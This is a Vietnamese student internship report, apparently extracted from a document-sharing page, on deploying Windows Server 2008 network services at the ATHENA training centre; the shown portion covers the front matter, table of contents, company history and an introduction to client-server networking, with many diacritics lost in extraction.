213
TRUNG TÂM ĐO TO QUN TR MNG V AN NINH MNG QUC T ATHENA BO CO THC TP CUI KHA NGHIÊN CU V TRIN KHAI CC DCH V MNG TRÊN WINDOWS SERVER 2008 Sinh viên thc tp : Trn Lê V MSSV: 11CTCL1014 Võ Tấn Đạt MSSV: 11CTCL1002 Lp : 11CTCL1

Báo cáo thực tập cuối khóa

Embed Size (px)

DESCRIPTION

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Citation preview

Page 1: Báo cáo thực tập cuối khóa

TRUNG TÂM ĐAO TAO QUAN TRI MANG

VA AN NINH MANG QUÔC TÊ

ATHENA

BAO CAO THƯC TÂP

CUÔI KHOA

NGHIÊN CƯU VA TRIÊN KHAI CAC

DICH VU MANG TRÊN

WINDOWS SERVER 2008

Sinh viên thưc tâp : Trân Lê Vu MSSV: 11CTCL1014

Võ Tấn Đạt MSSV: 11CTCL1002

Lơp : 11CTCL1

GVHD : Võ Đô Thăng

Thanh phô Hô Chi Minh, Thang 05 năm 2014

Page 2: Báo cáo thực tập cuối khóa

TRUNG TÂM ĐAO TAO QUAN TRI MANG CÔNG HOA XA HÔI CHU NGHIA VIÊT NAM

VA AN NINH MANG QUÔC TÊ ATHENA Đôc lâp - Tư do - Hạnh phuc

----------------------- ----------------

NHIÊM VU THƯC HIÊN KHOA LUÂN

Ho va tên SV: Trân Lê Vu MSSV: 11CTCL1014

Võ Tấn Đạt MSSV: 11CTCL1002

Chuyên nganh: Quan tri mạng

Tên đê tai: Nghiên cưu va triên khai cac dich vu mạng trên Windows Server 2008

Nôi dung thưc hiên:

Ly thuyêt

Năm vưng cac bươc thưc hiên Quan tri Windows Server 2008

Co kha năng tư thiêt lâp môt may tinh, cấu hinh mạng, điêu chinh kha năng hoạt

đông cua may tinh, vân hanh hê thông mạng, giai quyêt sư cô, cac phương phap bao

vê trươc nguy cơ virus, worm, trojan, spam.

Thưc hanh:

Cai đăt Windows Server 2008

Nâng cấp Stand Alone thanh Domain Controller

Cai đăt Windows 7

John Domain cho Windows 7

Tạo user account trên AD, thiêt lâp policy cho phep User đươc quyên thay đôi ngay

giơ hê thông.

Backup cho Domain Controller

Quan ly dich vu DNS, Mail, DHCP, Web, VPN trên môi trương Local va Internet.

Thưc hiên kêt nôi VPN, Mail Server, Web Server trên may ao VPS.

Thơi gian thưc hiên: 25/04/2014 đên 25/05/2014.

Tp.HCM, Ngay 25 thang 5 năm 2014

GIAM ĐÔC TRUNG TÂM GIANG VIÊN HƯƠNG DÂN

(Ky, ghi ro ho tên) (Ky, ghi ro ho tên)

Page 3: Báo cáo thực tập cuối khóa

LƠI CAM ƠN

Trên thưc tê không co sư thanh công nao ma không găn liên vơi nhưng sư hô trơ,

giup đơ du it hay nhiêu, du trưc tiêp hay gian tiêp cua ngươi khac. Trong suôt thơi

gian tư khi băt đâu hoc tâp ơ giang đương đên nay, em đa nhân đươc rất nhiêu sư

quan tâm, giup đơ cua quy Thây Cô, gia đinh va bạn be. Vơi lơi biêt ơn sâu săc

nhất, em xin gơi đên quy Thây Cô ơ Khoa Công Nghê Thông Tin - Trương Cao

Đăng Nghê Ky Thuât Công Nghê Ladec đa cung vơi tri thưc va tâm huyêt cua minh

đê truyên đạt vôn kiên thưc quy bau cho chung em trong suôt thơi gian hoc tâp tại

trương. Va đăc biêt, trong hoc ky nay Khoa đa tô chưc cho chung em thưc tâp, đươc

tiêp cân vơi môn hoc ma theo em la rất hưu ich, la hanh trang vưng chăc đôi vơi

sinh viên nganh Công Nghê Thông Tin chuân bi ra trương.

Em xin chân thanh cam ơn Thây Võ Đô Thăng đa tân tâm hương dân chung

em qua tưng buôi thưc tâp tại Trung Tâm ATHENA cung như nhưng buôi noi

chuyên, thao luân. Nêu không co nhưng lơi hương dân, dạy bao cua thây thi em

nghi bai bao cao nay cua em rất kho co thê hoan thiên đươc. Môt lân nưa em xin

chân thanh cam ơn thây.

Bai bao cao đươc thưc hiên trong thơi gian 1 thang. Bươc đâu đi vao thưc tê,

tim hiêu, kiên thưc cua em con hạn chê va con nhiêu bơ ngơ. Do vây, kho tranh

khoi nhưng thiêu sot, em rất mong nhân đươc nhưng y kiên đong gop quy bau cua

Thây Cô va cac bạn hoc cung lơp đê kiên thưc cua em trong linh vưc nay đươc hoan

thiên hơn.

Sau cung, em xin chuc quy Thây Cô trong Khoa Công Nghê Thông Tin va

thây Võ Đô Thăng thât dôi dao sưc khoe, niêm tin đê tiêp tuc thưc hiên sư mênh cao

đep cua minh la truyên đạt kiên thưc cho thê hê mai sau.

Trân trong.

TP.HCM, ngay 25 thang 5 năm 2014

Sinh viên thưc hiên

Trân Lê Vu – Võ Tấn Đạt

Page 4: Báo cáo thực tập cuối khóa

LƠI MƠ ĐÂU

gay nay vơi sư phat triên cua khoa hoc ky thuât thi may tinh trơ nên phô biên

vơi moi ngươi. Chung mang lại cho con ngươi kha năng to lơn va lam nhưng

công viêc phi thương: tinh toan nhanh va chinh xac cac bai toan phưc tạp, điêu

khiên tư đông, giai tri… May tinh ra đơi không chi hô trơ trong san xuất ma con

trong viêc hoc tâp va lam gop phân giai phong sưc lao đông. May tinh điên tử la

môt phat minh, thanh tưu to lơn cho sư phat triên cua nhân loại gop phân thuc đây

mạnh mẽ tiên bô khoa hoc va ky thuât noi riêng cung như nhân loại noi chung.

N

Bên cạnh sư phat triên chong măt cua may tinh trong thơi buôi công nghê

thông tin thi cac ưng dung, dich vu mạng la nên tan không thê tach rơi. Sưc mạnh

may tinh co thê nhân lên gấp nhiêu lân khi đươc kêt nôi thanh mạng may tinh. La cơ

sơ hạ tâng cho phep trao đôi thông tin, truyên tai dư liêu tư xa nhằm rut ngăn

khoang cach. Vơi mạng may tinh toan câu chung ta dễ dang tiêp cân vơi sư phat

triên cua thê giơi trong đo co sư phat triên gân nhất cua Windows Server la

Windows Server 2003 va Windows Server 2008 va tiêp đên la Windows Server

2012 hô trơ tôt cac dich vu mạng cân thiêt trên Server, viêc cai tiên không ngưng

giup nâng cao tinh ôn đinh va an toan hơn cho Windows Server 2008 hoạt đông môt

cach trơn tru.

Hiên nay qua trinh công nghiêp hoa hiên đại hoa đất nươc la môt chu trương

hang đâu cua nha nươc. Mạng may tinh trơ thanh muc tiêu nghiên cưu va phat triên.

Côt lõi la nganh công nghê thông tin bao gôm nhiêu linh vưc tư kiên truc mạng đên

nguyên ly thiêt kê, cai đăt mô hinh ưng dung v.v… Mạng viễn thông noi chung va

mạng may tinh trên nên tang Windows Server 2008 noi riêng la công cu hưu dung

không thê thiêu trong bô may nha nươc, trương hoc, doanh nghiêp… No đong vai

tro câu nôi trao đôi thông tin giưa cac chinh phu, tô chưc xa hôi va moi ngươi vơi

nhau.

Qua thơi gian hoc tâp va nghiên cưu trên ghê nha trương cung vơi sư hô trơ

tân tinh cua Thây cô, bạn be va ngươi thân đa giup em thu thâp đươc nhiêu kiên

thưc quy bao. Đăc biêt la qua trinh thưc tâp tại Trung tâm ATHENA giup em co

Page 5: Báo cáo thực tập cuối khóa

5

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

nhưng trai nghiêm vô cung thu vi va bô ich. Vơi mong muôn tim hiêu vê mạng may

tinh va gop phân xây dưng môt mạng may tinh thân thiên, thông minh cho moi

ngươi sử dung.

Tuy đa co nhiêu cô găng song không thê tranh nhưng khuyêt điêm, sai sot vi

thê mong đươc sư thông cam va nhưng y kiên đong gop quy bao tư quy Thây Cô,

bạn be, bạn đoc, ngươi thân đê em co thê ngay môt hoan thiên ban thân minh hơn.

Xin chân thanh cam ơn!

Page 6: Báo cáo thực tập cuối khóa

MUC LUCChương 1: Công viêc thưc tâp....................................................................................1

1.1 Giơi thiêu doanh nghiêp thưc tâp – Trung Tâm Đao Tạo Quan Tri Mạng va An Ninh Mạng Quôc Tê ATHENA........................................................................1

1.1.1 Tru sơ va cac chi nhanh:.......................................................................2

1.1.1.1 Tru sơ chinh:.............................................................................2

1.1.1.2 Cơ sơ 2_Tại TP Hô Chi Minh:..................................................2

1.1.2 Qua trinh hinh thanh va phat triên cua trung tâm:................................2

1.1.3 Cơ cấu tô chưc:.....................................................................................4

1.1.4 Cac san phâm, giai phap:......................................................................5

1.1.4.1 Cac khoa hoc dai hạn:...............................................................5

1.1.4.2 Cac khoa hoc ngăn hạn:............................................................5

1.1.5 Khach hang...........................................................................................7

1.1.6 Đôi tac...................................................................................................7

1.2 Cac nhiêm vu va dich vu cua bô phân thưc tâp................................................7

1.3 Công viêc va nhiêm vu đươc phân công...........................................................7

1.4 Thơi gian thưc tâp.............................................................................................7

Chương 2: Nôi dung thưc tâp......................................................................................8

2.1 Nhiêm vu đươc giao..........................................................................................8

2.2 Kiên thưc tim hiêu.............................................................................................8

2.2.1 Giai phap mạng doanh nghiêp..............................................................8

2.2.1.1 Giơi thiêu vê mạng doanh nghiêp.............................................8

2.2.1.2 Cac thanh phân công nghê trong mạng doanh nghiêp..............8

2.2.2 Windows Server 2008..........................................................................9

2.2.2.1 Giơi thiêu vê mô hinh Client-Server.........................................9

2.2.2.2 Giơi thiêu vê Windows Server 2008.......................................11

2.3 Cac công nghê đươc tiêp xuc, qua trinh lam viêc va cac kiên thưc:...............15

2.3.1 Lam viêc vơi Windows Server 2008 trên môi trương may ao VMWare:.....................................................................................................15

2.3.1.1 Cai đăt va cấu hinh may chu Windows Server 2008..............16

2.3.1.2 Khơi tạo cấu hinh lân đâu tiên cho Windows Server 2008.....21

2.3.1.3 Cai đăt dich vu DNS...............................................................31

2.3.1.4 Dich Vu DHCP.......................................................................48

Page 7: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.3.1.5 Dich vu Distributed File System (DFS)..................................61

2.3.1.5.1 Muc đich:...................................................................................61

2.3.1.5.2 Chuân bi mô hinh:......................................................................61

2.3.1.5.3 Cac bươc thưc hiên....................................................................62

2.3.1.6 Cấu hinh Web Server IIS........................................................81

2.3.2. Lam viêc vơi Windows Sever 2008 trên may chu ao VPS................89

2.3.2.1 Giơi thiêu vê May chu ao VPS...............................................89

2.3.2.2 Mail Server.............................................................................91

2.3.2.3 Cai đăt va cấu hinh Web Server trên VPS............................106

2.3.2.4 Kêt nôi VPN..........................................................................119

3.3. Bao Mât Windows.......................................................................................137

3.3.1 Khai thac lô hong trên Windows XP vơi ma lôi MS10_042............137

3.3.2 Khai thac lô hong bao mât Win XP ma lôi MS12_004....................143

3.3.3 Khai thac lô hông trên Win XP vơi ma lôi MS12_027....................148

Chương 3: Kêt luân.................................................................................................156

Chương 4: Tai liêu tham khao.................................................................................157

Page 8: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chương 1: CÔNG VIÊC THƯC TÂP

1.1 Giới thiêu doanh nghiêp thưc tập – Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA.

Trung Tâm Đao Tạo Quan Tri Mạng va An Ninh Mạng Quôc Tê ATHENA tiên

thân la Công ty TNHH Tư vấn va Đao tạo quan tri mạng Viêt Năng (tên thương

hiêu viêt tăt la TRUNG TÂM ĐAO TAO ATHENA), đươc chinh thưc thanh lâp

theo giấy phep kinh doanh sô 4104006757 cua Sở Kế Hoạch Đầu Tư Tp Hồ Chí

Minh cấp ngay 04 thang 11 năm 2008.

Tên công ty viêt bằng tiêng nươc ngoai: ATHENA ADVICE TRAINING

NETWORK SECURITY COMPANY LIMITED.

ATHENA la môt tô chưc quy tu nhiêu tri thưc trẻ Viêt Nam đây năng đông,

nhiêt huyêt va kinh nghiêm trong linh vưc công nghê thông tin. Vơi quyêt tâm gop

phân vao công cuôc thuc đây tiên trinh tin hoc hoa cua nươc nha. ATHENA đa va

đang tâp trung chu yêu vao cac hoat đông sau:

Đao tạo chuyên sâu quan tri mạng, an ninh mạng, thương mại điên tử theo cac

tiêu chuân quôc tê cua cac hang nôi tiêng như Microsoft, Cisco, Oracle, Linux LPI,

CEH,... Song song đo, trung tâm ATHENA con co nhưng chương trinh đao tạo cao

cấp danh riêng theo đơn đăt hang cua cac đơn vi như Bô Quôc Phong, Bô Công An,

ngân hang, doanh nghiêp, cac cơ quan chinh phu, tô chưc tai chinh. Qua đo cung

cấp nguôn nhân lưc trong linh vưc công nghê thông tin, đăc biêt la chuyên gia vê

mạng may tinh va bao mât đạt trinh đô quôc tê cho cac tô chưc, doanh nghiêp co

nhu câu.

Tư vấn va hô trơ cho doanh nghiêp ưng dung hiêu qua tin hoc vao hoạt đông vao

san xuất kinh doanh.

Tiên hanh cac hoạt đông nghiên cưu nâng cao kiên thưc tin hoc va phat triên cơ

sơ dư liêu thông tin vê cac ưng dung va sư cô mạng.

Tiên hanh cac dich vu ưng cưu khân cấp cho doanh nghiêp trong trương hơp xay

ra sư cô may tinh.

1Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 9: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Sau gân 10 năm hoạt đông, nhiêu hoc viên tôt nghiêp trung tâm ATHENA đa la

chuyên gia đam nhân công tac quan ly hê thông mạng, an ninh mạng co nhiêu bô

nganh như Cuc Công Nghê Thông Tin - Bô Quôc Phong, Bô Công An, Sơ Thông

Tin Truyên Thông cac tinh, bưu điên cac tinh,...

Ngoai ra, Trung tâm ATHENA con co nhiêu chương trinh hơp tac va trao đôi

công nghê vơi nhiêu đại hoc lơn như đại hoc Bach Khoa Thanh Phô Hô Chi Minh,

Hoc Viên An Ninh Nhân Dân (Thu Đưc), Hoc Viên Bưu Chinh Viễn Thông, Hiêp

hôi an toan thông tin (VNISA), Viên Ky Thuât Quân Sư...

1.1.1 Trụ sở và các chi nhánh:

1.1.1.1 Trụ sở chính:

Trung Tâm Đao Tạo Quan Tri Mạng va An Ninh Mạng Quôc Tê ATHENA.

Sô 2 Bis Đinh Tiên Hoang, Phương Đa Kao, Tp Hô Chi Minh, Viêt Nam.

Điên thoại: (84-8) 3824 4041

Hotline: 0943 23 00 99

1.1.1.2 Cơ sở 2_Tại TP Hồ Chí Minh:

Trung Tâm Đao Tạo Quan Tri Mạng va An Ninh Mạng Quôc Tê ATHENA

92 Nguyễn Đinh Chiêu, Phương ĐaKao, Quân 1, Tp Hô Chi Minh, Viêt Nam.

Website: www.athena.edu.vn - Điên thoại: (84-8) 2210 380

Hotline: 0943 20 00 88

1.1.2 Quá trình hình thành và phát triển của trung tâm:

Môt nhom cac thanh viên la nhưng doanh nhân tai năng va thanh công trong

linh vưc công nghê thông tin đa nhân ra tiêm năng phat triên cua viêc đao tạo nên

công nghê thông tin nươc nha. Ho la nhưng ca nhân co trinh đô chuyên môn cao va

co đâu oc lanh đạo cung vơi tâm nhin xa vê tương lai cua nganh công nghê thông

tin trong tương lai, ho đa quy tu đươc môt lưc lương lơn đôi ngu công nghê thông

tin trươc hêt la lam nhiêm vu ưng cưu may tinh cho cac doanh nghiêp, ca nhân co

nhu câu. Bươc phat triên tiêp theo la vươn tâm đao đạo đôi ngu can bô công nghê

thông tin cho đất nươc va xa hôi.

Cac thanh viên sang lâp trung tâm gôm:

2Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 10: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Ông Nguyễn Thê Đông: Cưu giam đôc trung tâm nghiên cưu may tinh

Athena, hiên tại la giam đôc dư an cua công ty Siemen Telecom.

Ông Hưa Văn Thê Phuc: Pho Giam đôc Phat triên Thương mại Công ty EIS,

Pho Tông công ty FTP.

Ông Nghiêm Sy Thăng: Pho Tông giam đôc Ngân hang Liên Viêt, chiu trach

nhiêm công nghê thông tin cua Ngân hang.

Ông Võ Đô Thăng: Hiên đang la giam đôc Trung tâm đao tạo quan tri mạng

va an ninh mạng Athena.

Đên năm 2003, bôn thanh viên sang lâp cung vơi đôi ngu ưng cưu may tinh

gân 100 thanh viên hoạt đông như la môt nhom, môt tô chưc cưu may tinh miên

Nam.

Tư năm 2004 - 2006: Trung tâm co nhiêu bươc phat triên va chuyên minh.

Trung tâm trơ thanh môt trong nhưng đia chi tin cây cua nhiêu doanh nghiêp nhằm

cai đăt hê thông an ninh mạng va đao tạo cho đôi ngu nhân viên cua cac doanh

nghiêp vê cac chương trinh quan ly dư an MS Project 2003, ky năng thương mại

điên tử, bao mât web… va la đia chi tin cây cua nhiêu hoc sinh_sinh viên đên đăng

ki hoc. Đoi hoi cấp thiêt trong thơi gian nay cua Trung tâm la nâng cao hơn nưa đôi

ngu giang viên cung như cơ sơ đê đap ưng nhu câu ngay cang cao vê công nghê

thông tin cua đất nươc noi chung, cac doanh nghiêp, ca nhân noi riêng. Năm 2004,

công ty mơ rông hoạt đông cung cấp giai phap, dich vu cho khu vưc miên Trung

thông qua viêc thanh lâp văn phong đại diên tại Đa Nẵng.

Đên năm 2006: Trung tâm đao tạo quan tri va an ninh mạng Athena mơ ra

thêm môt chi nhanh tại Cư xa Nguyễn Văn Trôi. Đông thơi tiêp tuc tuyên dung đôi

ngu giang viên la nhưng chuyên gia an ninh mạng tôt nghiêp cac trương đại hoc va

hoc viên công nghê thông tin uy tin trên toan quôc, đông thơi trong thơi gian nay

Athena co nhiêu chinh sach ưu đai nhằm thu hut đôi ngu nhân lưc công nghê thông

tin lanh nghê tư cac doanh nghiêp, tô chưc, lam giau thêm đôi ngu giang viên cua

trung tâm.

Đên năm 2008: Hang loạt cac trung tâm đao tạo quan tri mạng va an ninh

mạng moc lên, cung vơi khung hoang kinh tê tai chinh toan câu đa lam cho Trung

3Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 11: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

tâm rơi vao nhiêu kho khăn. Ông Nguyễn Thê Đông cung Ông Hưa Văn Thê Phuc

rut vôn khoi công ty gây nên sư hoang man cho toan bô hê thông trung tâm. Công

thêm chi nhanh tại Cư xa Nguyễn Văn Trôi hoạt đông không con hiêu qua phai

đong cửa lam cho trung tâm rơi tư kho khăn nay đên kho khăn khac. Luc nay, vơi

quyêt tâm khôi phuc lại công ty cung như tiêp tuc sư mạng gop phân vao tiên trinh

tin hoc hoa cua đất nươc. Ông Võ Đô Thăng mua lại cô phân cua hai nha đâu tư lên

lam giam đôc va xây dưng tại trung tâm. Đây la môt bươc chuyên minh co y nghia

chiêc lươc cua trung tâm. Mơ ra môt lan gio mơi va môt giai đoạn mơi, cung vơi

quyêt tâm mạnh mẽ va môt tinh thân thep đa giup ông Thăng vươt qua kho khăn

ban đâu, giup trung tâm đưng vưng trong thơi ki khung hoang.

Tư năm 2009 - nay: Cung vơi sư lanh đạo tai tinh va đâu oc chiên lươc.

Trung tâm đao tạo quan tri va an ninh mạng dân đươc phuc hôi va trơ lại quy đạo

hoạt đông cua minh. Đên nay, Trung tâm đa trơ thanh môt trong nhưng trung tâm

đao tạo quan tri mạng hang đâu Viêt Nam. Cung vơi sư liên kêt cua rất nhiêu công

ty, tô chưc doanh nghiêp, trung tâm trơ thanh nơi đao tạo va cung cấp nguôn nhân

lưc công nghê thông tin cho xa hôi. Tưng bươc thưc hiên muc tiêu gop phân vao

tiên trinh tin hoc hoa nươc nha.

1.1.3 Cơ cấu tổ chức:

4Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 12: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Hình 1.1.3 Sơ đồ tổ chức công ty

1.1.4 Các sản phẩm, giải pháp:

1.1.4.1 Các khóa học dài hạn:

- Chương trinh đao tạo chuyên gia an ninh mạng. (AN2S) Athena

Network Security Specialist.

- Chương trinh Quan tri viên an ninh mạng (ANST) Athena Netuwork

Security Technician.

- Chuyên viên quan tri mạng nâng cao (ANMA) Athena Network

Manager Administrator.

1.1.4.2 Các khóa học ngắn hạn:

Khóa Quản trị mạng:

- Quan tri mạng Microsoft căn ban ACBN

- Phân cưng may tinh, laptop, server

- Quan tri hê thông mạng Microsoft MCSA Security.

- Quan tri mạng Microsoft nâng cao MCSE

- Quan tri Window Vista

5Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Giám đốc

Bô phận Hành chính Kinh

doanh

Trưởng phong Kinh doanh

Tư vấn

An ninh

Hậu cần

Bô phận Quản ly Sản phẩm

Thiết kế

Web Admin

Bô phận Tài chính và kế toán

Thu ngân

Kế toán

Bô phận Đào tạo

Giảng viên

Hô trơ Ky thuật

Bô phận Quản ly dư án

Ky sư IT

CERC

Bô phận Sales và Marketing

Sales

Communication

Phó giám đốc

Page 13: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

- Quan tri hê thông Window Server 2008, 2012

- Lơp Master Exchange Mail Server

- Quan tri mạng quôc tê Cissco CCNA

- Quan tri hê thông mạng Linux 1 va Linux 2.

Khóa thiết kế web và bảo mật mạng:

- Xây dưng, quan tri web thương mại điên tử vơi Joomla va Virtua

Mark

- Lâp trinh web vơi Php va MySQL

- Bao mât mạng quôc tê ACNS

- Hacker mu trăng

- Athena Mastering Firewall Security

- Bao mât website.

Các sản phẩm khác:

- Chuyên đê thưc hanh sao lưu va phuc hôi dư liêu

- Chuyên đê thưc hanh bao mât mạng WiFi

- Chuyên đê Ghost qua mạng

- Chuyên đê xây dưng va quan tri diễn đan

- Chuyên đê bao mât dư liêu phong chông nôi gian

- Chuyên đê quan ly tai san công nghê thông tin

- Chuyên đê ky năng thương mại điên tử.

Cơ sở hạ tầng:

- Thiêt bi đây đu va hiên đại.

- Chương trinh câp nhât liên tuc, bao đam hoc viên luôn tiêp cân

vơi nhưng công nghê mơi nhất.

- Phong may rông rai, thoang mat.

Các dịch vụ hỗ trơ:

- Đam bao viêc lam cho hoc viên tôt nghiêp khoa dai hạn

- Giơi thiêu viêc lam cho moi hoc viên

- Thưc tâp co lương cho hoc viên kha gioi

6Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 14: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

- Ngoai giơ hoc chinh thưc, hoc viên đươc thưc hanh thêm miễn

phi, không giơi hạn thơi gian

- Hô trơ ky thuât không thơi hạn trong tất ca cac linh vưc liên quan

đên may tinh, mạng may tinh, bao mât mạng.

- Hô trơ thi Chưng chi Quôc tê

1.1.5 Khách hàng

- Moi đôi tương chuyên hoăc không chuyên vê CNTT.

- Khach hang chu yêu cua ATHENA la cac bạn hoc sinh, sinh viên va cac

can bô công nhân viên chưc yêu thich linh vưc công nghê thông tin.

1.1.6 Đối tác

Trung tâm đao tạo an ninh mạng ATHENA la đôi tac đao tạo & cung

cấp nhân sư CNTT, quan tri mạng, an ninh mạng chất lương cao theo đơn đăt

hang cho cac đơn vi ngân hang, doanh nghiêp, cac cơ quan chinh phu, tô

chưc tai chinh…

1.2 Các nhiêm vụ và dịch vụ của bô phận thưc tập

Bô phân thưc tâp: Bô phân triên khai ky thuât.

- Nhiêm vu va dich vu:

- Triên khai lăp đăt hê thông mạng.

- Bao tri hê thông mạng

- Tư vấn hô trơ quan tri hê thông mạng.

1.3 Công viêc và nhiêm vụ đươc phân công

- Nghiên cưu cac dich vu mạng trên Windows Server 2008.

- Triên khai cac dich vu mạng trên Windows Server 2008.

- Yêu câu nhiêm vu: Co kiên thưc tôt vê Network, System, Security.

1.4 Thời gian thưc tập

Tư ngay 25/4/2014 đên ngay 25/5/2014.

7Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 15: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Chương 2: NÔI DUNG THƯC TÂP

2.1 Nhiêm vụ đươc giao

Nghiên cưu cac dich vu mạng trên Windows Server 2008

Triên khai cac dich vu mạng trên Windows Server 2008

Triên khai va xây dưng Mdeamon trên VPS.

Xây dưng va quan tri Web bằng ma nguôn mơ Word

2.2 Kiến thức tìm hiểu

2.2.1 Giải pháp mạng doanh nghiêp

2.2.1.1 Giới thiêu về mạng doanh nghiêp

Hê thông mạng cua doanh nghiêp đơn gian hay phưc tạp la tuy theo

quy mô va loại hinh cua doanh nghiêp. Ngay nay, cac nha cung ưng đa đưa ra rất

nhiêu sư chon lưa cho doanh nghiêp như cho phep doanh nghiêp tư trang bi, tư quan

ly hoăc sử dung dich vu. Nhưng doanh nghiêp lơn vơi hang ngan may tinh cung co

nhưng giai phap quan ly đăc thu kêt hơp ca phân cưng va phân mêm.

Hâu hêt cac doanh nghiêp đêu co nhu câu sử dung cac ưng dung công

nghê thông tin (CNTT) ơ nhưng mưc đô khac nhau. Do vây, ho sẽ co nhưng nhu

câu khac nhau vê quan tri hê thông mạng (network) cua doanh nghiêp. Môt hê

thông đươc kiêm soat tôt sẽ lam giam đang kê chi phi hoạt đông, nâng cao hiêu qua

cung như đô tin cây cua hê thông.

2.2.1.2 Các thành phần công nghê trong mạng doanh nghiêp

Tuy vao qui mô lơn hay nho cua doanh nghiêp ma ta sẽ co nhưng giai

phap công nghê va thiêt kê sao cho phu hơp nhất.

Hiên nay, hâu hêt cac ưng dung mơi đêu yêu câu rất nhiêu tai nguyên

cua hê thông va băng thông mạng, cung như cac yêu câu vê điêu khiên, giam sat

mạng. Vây lam thê nao đê môt doanh nghiêp vưa va nho, vơi môt sô vôn đâu tư ban

đâu hạn chê, co thê tiêp cân đươc vơi cac công nghê hiên đại, băt kip sư phat triên

cua thê giơi.

8Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 16: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

2.2.2 Windows Server 2008

2.2.2.1 Giới thiêu về mô hình Client-Server

Điêu đang ngạc nhiên la nhiêu công ty ngay nay vân không quan tâm

đên viêc thưc hiên môt mạng lươi client/server. Thay vao đo ho chi tiêp tuc thêm

vao cac may trạm đê thưc hiên mô hinh mạng peer-to-peer. Mạng peer-to-peer

không cung cấp cho bạn nhiêu cach bao mât va chia sẽ tai nguyên. Vi vây, không co

gi ngạc nhiên khi ho thương co vấn đê vơi viêc truy câp vao may trạm, bi mất dư

liêu do virus, spyware hay phai trai nghiêm viêc internet bi gian đoạn. May tinh nôi

mạng theo mô hinh peer-to-peer la đu khi bạn chi co môt vai ngươi dung trên mạng,

nhưng khi co nhiêu hơn 5 hoăc 6 ngươi sử dung trên mạng cua bạn, bạn thưc sư

phai xem xet đâu tư môt may chu mạng.

Vây lơi ich cua mô hinh Client-Server cu thê la gi?

Tập tin và an ninh mạng: Vai tro quan trong nhất cua môt may chu

tâp tin la an ninh mạng ma no cung cấp. Bằng cach tạo ra cac tai khoan ngươi dung

ca nhân va nhom, co thê cấp quyên cho nhom va ca nhân khai thac dư liêu đươc lưu

trư trên mạng, ngăn chăn ngươi sử dung trai phep truy câp tai liêu ma ho không nên

xem. Vi du, trong Folder chung thi group ketoan va group nhansu co quyên truy câp

cua nhân viên.

Hình 2.2.2.1-1 Cấu hình NTFS Permission

9Sinh viên: Trân Lê Vu – Võ Tấn Đạt

Page 17: Báo cáo thực tập cuối khóa

Đề tài: Nghiên cứu và triển khai các dịch vụ mạng trên Windows Server 2008

Tăng đô tin cậy, giảm sư gián đoạn công viêc: Nhiêu may chu đươc

trang bi nguôn điên dư phong. Vơi môt nguôn cung cấp năng lương thư cấp chạy

song song, sư mất mat cua môt trong nhưng nguôn cung cấp điên không anh hương

đên hoạt đông hê thông binh thương. Cung vây vơi hê thông lưu trư cua may chu.

Không giông như môt may tinh đê ban trung binh co sử dung môt ô cưng duy nhất,

môt may chu sẽ thương sử dung nhiêu ô đia cưng lam viêc trong môt RAID cấu

hinh đê ngăn ngưa mất dư liêu hoăc môt sư gian đoạn trong quy trinh lam viêc.

Ngoai ra, nhiêu may chu cung đươc trang bi ô đia cưng hot swappable va nguôn

cung cấp điên. Cac thanh phân nay co thê thay thê nong cho phep bạn thay thê phân

cưng bi lôi ma không gian đoạn toan bô văn phong. Ngoai ra, kê tư khi tất ca cac dư

liêu nhân viên đang đươc lưu trư trên mạng, nêu may trạm cua ngươi dung không

giưa ngay lam viêc, nhân viên co thê truy câp cac tâp tin tương tư tư may trạm khac.

Tập trung lưu trữ dữ liêu và tài nguyên chia sẻ: Vơi môt may chu

mạng, tất ca ngươi dung trên mạng co thê sử dung cac tai nguyên mạng khac nhau

ngay tư ban lam viêc, tăng hiêu qua. Môt sô trong nhưng nguôn tai nguyên bao

gôm:

- Tâp trung lưu trư dư liêu (RAID Array)

- Network Attached Storage (NAS) thiêt bi

- Thap đia CD / DVD

- May in va may chu Fax

Quản ly virus : Môt trong nhưng môi đe doa lơn nhất đôi vơi mạng

cua bạn la kha năng lây nhiễm tư virus, phân mêm gian điêp va thư rac. Vi vây, co

tôt, câp nhât, phân mêm chông virus đươc cai đăt trên hê thông cua bạn la môt điêu

cân thiêt. Trong môt văn phong cua 10 ngươi hoăc it hơn, hê thông co thê đươc duy

tri riêng. Bất cư điêu gi nhiêu hơn thê, tuy nhiên, co thê trơ thanh môt ganh năng

thưc sư. Trong nhưng trương hơp nay, môt goi phân mêm chông virus kêt hơp may

trạm va bao vê chông virus may chu vao môt giai phap duy nhất co y nghia hơn.

Sao lưu tập trung: Tất ca cac doanh nghiêp nên sao lưu dư liêu cua

ho môt cach thương xuyên. Bơi co tất ca cac công ty cua bạn va dư liêu nhân viên

đươc lưu trư tại môt đia điêm, ban sao lưu co thê đươc thưc hiên đang tin cây va

